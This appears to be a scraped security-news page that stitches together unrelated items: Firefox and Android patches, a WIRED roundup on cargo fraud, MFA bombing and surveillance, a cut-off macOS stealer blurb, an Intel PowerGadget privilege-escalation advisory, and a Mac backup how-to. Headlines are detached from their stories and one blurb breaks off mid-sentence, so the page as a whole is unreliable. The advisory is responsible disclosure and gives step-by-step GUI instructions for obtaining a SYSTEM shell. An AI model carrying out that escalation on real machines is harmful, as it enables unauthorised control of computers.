Mozilla’s Firefox had a busy March, after patching two zero-day vulnerabilities exploited at Pwn2Own. CVE-2024-29943 is an out-of-bounds access bypass issue, while CVE-2024-29944 is a privileged JavaScript Execution flaw in Event Handlers that could lead to sandbox escape. Both issues are rated as having a critical impact.

Earlier in the month, Mozilla released Firefox 124 to address 12 security issues, including CVE-2024-2605, a sandbox-escape flaw affecting Windows operating systems. An attacker could have leveraged the Windows Error Reporter to run arbitrary code on the system, escaping the sandbox, Mozilla said.

CVE-2024-2615 sees critical-rated memory safety bugs fixed in Firefox 124. “Some of these bugs showed evidence of memory corruption, and we presume that with enough effort \[they\] could have been exploited to run arbitrary code,” Mozilla said.

**Google Android**

Google has released its March Android Security Bulletin, fixing nearly 40 issues in its mobile operating system, including two critical bugs in its system component. CVE-2024-0039 is a remote code-execution flaw, while CVE-2024-23717 is an elevation-of-privilege vulnerability.

“The most severe of these issues is a critical security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed,” Google said in its advisory.

You Should Update Apple iOS and Google Chrome ASAP

Plus: “MFA bombing” attacks target Apple users, Israel deploys face recognition tech on Gazans, AI gets trained to spot tent encampments, and OSINT investigators find fugitive Amond Bundy.

The saga of WikiLeaks founder Julian Assange continued this week after the UK’s high court ordered a delay in his extradition to the United States. Assange faces 18 charges in the US, including 17 alleged violations of the Espionage Act—charges that have alarmed journalism watchdogs. The two judges who issued the ruling said in a summary of their decision that the US must offer further assurances that Assange’s First Amendment rights will be respected and that he will not face the death penalty if convicted.

The University of Cambridge’s medical school is still recovering from “malicious activity” which the school first detected last month. The incident impacted IT services provided by Cambridge’s Clinical School Computing Service, and several websites were knocked offline. While the university also recently suffered a distributed denial-of-service attack, allegedly carried out by the hacker group Anonymous Sudan, it’s unclear if the two incidents are related, and the university has not yet clarified the nature of the “malicious activity.”

US and UK authorities this week announced sanctions and charges against members of APT31, a Chinese state-sponsored hacker group. Also known as Violet Typhoon or Judgement Panda, APT31 hackers have for the past 14 years targeted critics and political enemies around the world to conduct espionage campaigns, according to the US Department of Justice.

Finally, WIRED discovered a trove of information left online by a location data broker that reveals sensitive details about the visitors to Jeffrey Epstein’s notorious “pedophile island.” The data includes more than 11,000 precise coordinates, as many as 166 of which pinpoint the likely homes and workplaces of visitors who live in the continental United States.

But that’s not all. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

A few rules of thumb can vastly increase your online safety: Don’t click on links or open attachments from strangers. Double-check the sender of emails and other messages to ensure they’re not surreptitious phishing attempts. And be sure a shipping company really is who it claims to be rather than a cybercriminal gang plotting to hijack a truckload of your yogurt and hold it for ransom.

The last of those lessons was highlighted by _The Wall Street Journal_ this week in a story about a troubling form of online fraud: Fraudsters are insinuating themselves into so-called load boards, the online platforms that manufacturers, shipping companies, and the brokers who work with them use to make deals for transporting goods via truck to retailers or other destinations. By spoofing the identity of a carrier—the companies that employ truck drivers to pick up goods—fraudsters can trick brokers who arrange those deals into handing over large amounts of cargo. The criminals can then either complete the deal with a legit carrier at a lower price and pocket the difference, or simply steal the cargo.

In the case of one $50,000 load of Danone yogurt and plant-based milk, the thieves opted for the latter. The broker who had arranged the deal discovered that the fraudsters had spoofed the motor carrier number, a unique identifier, for the broker’s intended trucking company. Then they rerouted their yogurt booty from its intended destination in Florida to a warehouse in Pennsylvania. The brokerage describes receiving emails and even a phone call from an Armenian number demanding a $40,000 ransom. (The brokers refused to pay and collected an insurance payout instead. What happened with the yogurt—and exactly how much yogurt a single gang of Armenian cybercriminals can feasibly consume before it spoils—remains unclear.)

The Journal’s story reveals that cargo hijacking fraud remains a serious problem—one that cost $500 million in 2023, quadruple the year before. Victims say load board operators need to do more to verify users’ identities, and that law enforcement and regulators also need to do more to address the thefts.

**Apple Users Targeted With “MFA Bombing” Hacking Tactic**

Multifactor authentication (MFA) has served as a crucial safeguard against hackers for years. In Apple’s case, it can require a user to tap or click “allow” on an iPhone or Apple Watch before their password can be changed, an important protection against fraudulent password resets. But KrebsOnSecurity reports this week that some hackers are weaponizing those MFA push alerts, bombarding users with hundreds of requests to force them to allow a password reset—or at the very least, deal with a very annoying disruption of their device. Even when a user does reject all those password reset alerts, the hackers have, in some cases, called up the user and pretended to be a support person—using identifying information from online databases to fake their legitimacy—to social engineer them into resetting their password. The solution to the problem appears to be “rate-limiting,” a standard security feature that limits the number of times someone can try a password or attempt a sensitive settings change in a certain time period. In fact, the hackers may be exploiting a bug in Apple’s rate limiting to allow their rapid-fire attempts, though the company didn’t respond to Krebs’ request for comment.

**Israel Deploys Controversial Facial Recognition Tech in Its Surveillance of Gazans**

Israel has long been accused of using Palestinians as subjects of experimental surveillance and security technologies that it then exports to the world. In the case of the country’s months-long response to Hamas’ October 7 massacre—a response that has killed 31,000 Palestinian civilians and displaced millions more from their homes—that surveillance now includes using controversial and arguably unreliable facial recognition tools among the Palestinian population. _The New York Times_ reports that Israel’s military intelligence has adopted a facial recognition tool built by a private tech firm called Corsight, and has used it in its attempts to identify members of Hamas—particularly those involved in the October 7 attack—despite concerns that the tech was sometimes faulty and produced false positives. In one case, for instance, the Palestinian poet Mosab Abu Toha was pulled out of a crowd by soldiers who had somehow identified him by name, before he was beat, accused of being a member of Hamas, and interrogated, before soldiers then told him the interrogation had been a “mistake.”

**AI Cameras Trained to Spot Encampments of Unhoused People**

In other dystopian AI news, _The Guardian_ this week reported on a government project in San Jose, California, that used AI-enabled computer vision technology to identify encampments and vehicles lived in by unhoused people. In the project, video recorded from a car around the city is given to participating companies including Ash Sensors, Sensen.AI, Xloop Digital, Blue Dome Technologies, and CityRover, which use it as training data to develop a system that can recognize tents or vehicles that people might be living in. While the project has been described as a way to identify and help people in need, advocates for the unhoused in San Jose say they’re concerned the data is likely to instead be given to the police, and thus as just another form of surveillance targeting the most vulnerable inhabitants of the city.

**Bellingcat Investigators Find Far-Right Fugitive Ammon Bundy**

Radical libertarian Ammon Bundy, a well-known figure on the far right, has been on the run since last year, charged with contempt of court after being ordered to pay $50 million to an Idaho hospital he’d accused of child trafficking and leading a campaign of harassment that targeted its staff. Then last month, he posted a provocative video to YouTube titled, “Want to Know Where Ammon Bundy Is?” The open source detectives at Bellingcat apparently did: They found enough evidence in Bundy’s videos to convincingly reveal his location. Bellingcat was able to use material like a school calendar in the background of one shot, a mountain range in another, and a highway sign in a third to place Bundy in a certain county in southern Utah. When contacted by Bellingcat, Bundy denied hiding and wrote, a little confusingly, that “at any time peace officers could find me if they wish.”

Yogurt Heist Reveals a Rampant Form of Online Fraud

Malicious ads and bogus websites are acting as a conduit to deliver two different stealer malware, including Atomic Stealer, targeting Apple macOS users.
The ongoing infostealer attacks targeting macOS users may have adopted different methods to compromise victims' Macs, but operate with the end goal of stealing sensitive data, Jamf Threat Labs said in a report published Friday.
One

Hackers Target macOS Users with Malicious Ads Spreading Stealer Malware

Intel PowerGadget version 3.6 suffers from a local privilege escalation vulnerability.

    Vulnerability summary: Local Privilege Escalation from regular user to SYSTEM, via conhost.exe hijacking triggered by MSI installer in repair modeAffected Products: Intel PowerGadgetAffected Versions: tested on PowerGadget_3.6.msi (a3834b2559c18e6797ba945d685bf174), file signed on ‎Monday, ‎February ‎1, ‎2021 9:43:20 PM (this seems to be the latest version), earlier versions might be affected as well.Affected Platforms: WindowsCommon Vulnerability Scoring System (CVSS) Base Score (CVSSv3): 7.8 HIGHRisk score (CVSSv3): 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)I have reported this issue to Intel, but since the product has been marked End of Life since October 2023, it is not going to receive a security update nor a security advisory. Intel said that they are OK with me making this finding public, under the condition that I would emphasize that the product is EOL.Description and steps to replicate:On systems where Intel PowerGadget is installed from an MSI package, a local interactive regular user is able to run the MSI installer file in the "repair" mode and hijack the conhost.exe process (which is created by an instance of sc.exe the installer calls during the process) by quickly left-clicking on the console window that pops up for a split second in the late stage of the process. Left-clicking on the conhost.exe console window area freezes the console (meaning it prevents the sc.exe process from exiting). That process is running as NT AUTHORITY/SYSTEM. From there, it is possible to run a web browser by clicking on one of the links in the small GUI window that can be called by right-clicking on the console window bar and entering "properties". Once a web browser is spawn, attacker can call up the "Open" dialog and in that way get a fully working escape to explorer. From there they can, for example, browse through C:\Windows\System32 and right-click on cmd.exe and run it, obtaining as SYSTEM shell.Now - an important detail - on most recent builds of Windows neither Edge nor Internet Explorer will spawn as SYSTEM (this is a mitigation from Microsoft); thus for successful exploitation another browser has to already be present in the system. As you can see I pick Chrome and then spawn an instance of cmd.exe, which turns out to be running as SYSTEM. Also, when doing this, DO NOT check "always use this app" in that dialog, as if you pick the wrong one (e.g. Edge or IE), it will be saved as the default http/https handler for SYSTEM and from then further attacks like this won't work if you want to repeat the POC - unless you reverse that change somewhere in the registry.This class of Local Privilege Escalations is described by Mandiant in this article: https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers.To run the installer in repair mode, one needs to identify the proper MSI file. After normal installation, it is by default present in C:\Windows\Installer directory, under a random name. The proper file can be identified by attributes like control sum, size or "author" information.The exploitation process is illustrated in the screenshots below, reflecting the the steps taken to attain a SYSTEM shell (no exploit development is required, the issue can be exploited using GUI).Recommendation:Technically, as per the reference, it is recommended to change the way the sc.exe is called, using the WixQuietExec() method (see the second reference). In such case the conhost.exe window will not be visible to the user, thus making it impossible to perform any GUI interaction and an escape.I am, however, aware that this product is no longer maintained since October 2023 (https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html) and that includes security updates. Still, I believe a security advisory and CVE should be released just to make users and administrators aware why they need to replace PowerGadget with Intel Performance Counter Monitor.Another possible (short-term) mitigation is to disable MSI (https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi).References:https://hackingiscool.pl/intel-powergadget-3-6-local-privilege-escalation/https://www.mandiant.com/resources/blog/privileges-third-party-windows-installershttps://wixtoolset.org/docs/v3/customactions/qtexec/https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html)https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi

Intel PowerGadget 3.6 Local Privilege Escalation

Backing up your Mac is a simple process that can save your most important files from cyberthreats.

Backing up your Mac computer doesn’t need to be intimidating.

By taking advantage of a user-friendly feature released by Apple several years ago, the entire backup process can be handled almost automatically, preserving your most important files, photos, applications, and emails from cyberthreats and mishaps.

Before starting the backup process, **you will** **need an external storage device** that can connect to your Mac with a USB or Thunderbolt cable. External storage devices, which are sometimes called external hard drives, are developed and sold by many different companies, including Lacie, SanDisk, and Western Digital.

If you do not have an external storage device, you must first get one. You should also follow Apple’s recommendation that your external storage device be **twice as large** as the hard drive of your Mac computer.

To find the hard drive size of your current Mac, open the **System Settings** app on your computer. On the left-hand rail, click **General** and then, in the window open to the right, click **Storage**.

Several statistics and options will be shown.

At the top of the Storage section, the hard drive space is shown. Here, it is 494.38 GB, or 500 GB roughly.

The Mac shown here has 500 GB of internal storage. If we were to back this Mac up, we would need to use an external storage device of 1 TB (terabyte).

Once you have your external storage device, you can begin the actual backup processs.

The simplest way to back up your Mac is with the built-in feature “**Time Machine**.”

First, connect your external storage device to your Mac.

Then, you need to set up that storage device as your “backup disk.” This means that, from this point forward, your external storage device will have one primary use, and that is as a backup device that syncs with Time Machine. Apple recommends that you **do** **not** use your external storage device that you are using with Time Machine for anything other than Time Machine backups.

To set up your storage device as your backup disk, follow these instructions:

Go to **System Settings**.  

Click on **General** in the left sidebar.

From here, click on **Time Machine** in the main window displayed to the right.

From the **Time Machine** menu, click **Add Backup Disk** or click the “Add” button (+).

From here, select your external storage device and then click **Set Up Disk**.

At this point in the process, you may receive two options from Time Machine:

1.  If your device has other files on it, you will be asked if you want to erase the device so that it can be used solely as a backup with Time Machine. You can erase the files immediately and then continue the backup process through Time Machine. If you do not want to erase the files, you need to get a separate external storage device that will be used exclusively as a backup with Time Machine.
2.  If your external storage device already has backups from a prior computer, you will be asked whether you can to keep those backups and roll them into new backups made with Time Machine. This is up to you.

From here, the backup process is nearly done.

To make a backup, simply click on **Back Up Now** from the Time Machine menu.

Your first backup could take a long time to complete, but know that you can continue using your computer like normal while the process happens in the background.

From here on, whenever you attach your external storage device to your Mac, Time Machine will automatically ask to make a backup of the changes to your Mac. You can also change the frequency of your backups in your Time Machine Settings.

Tag

#mac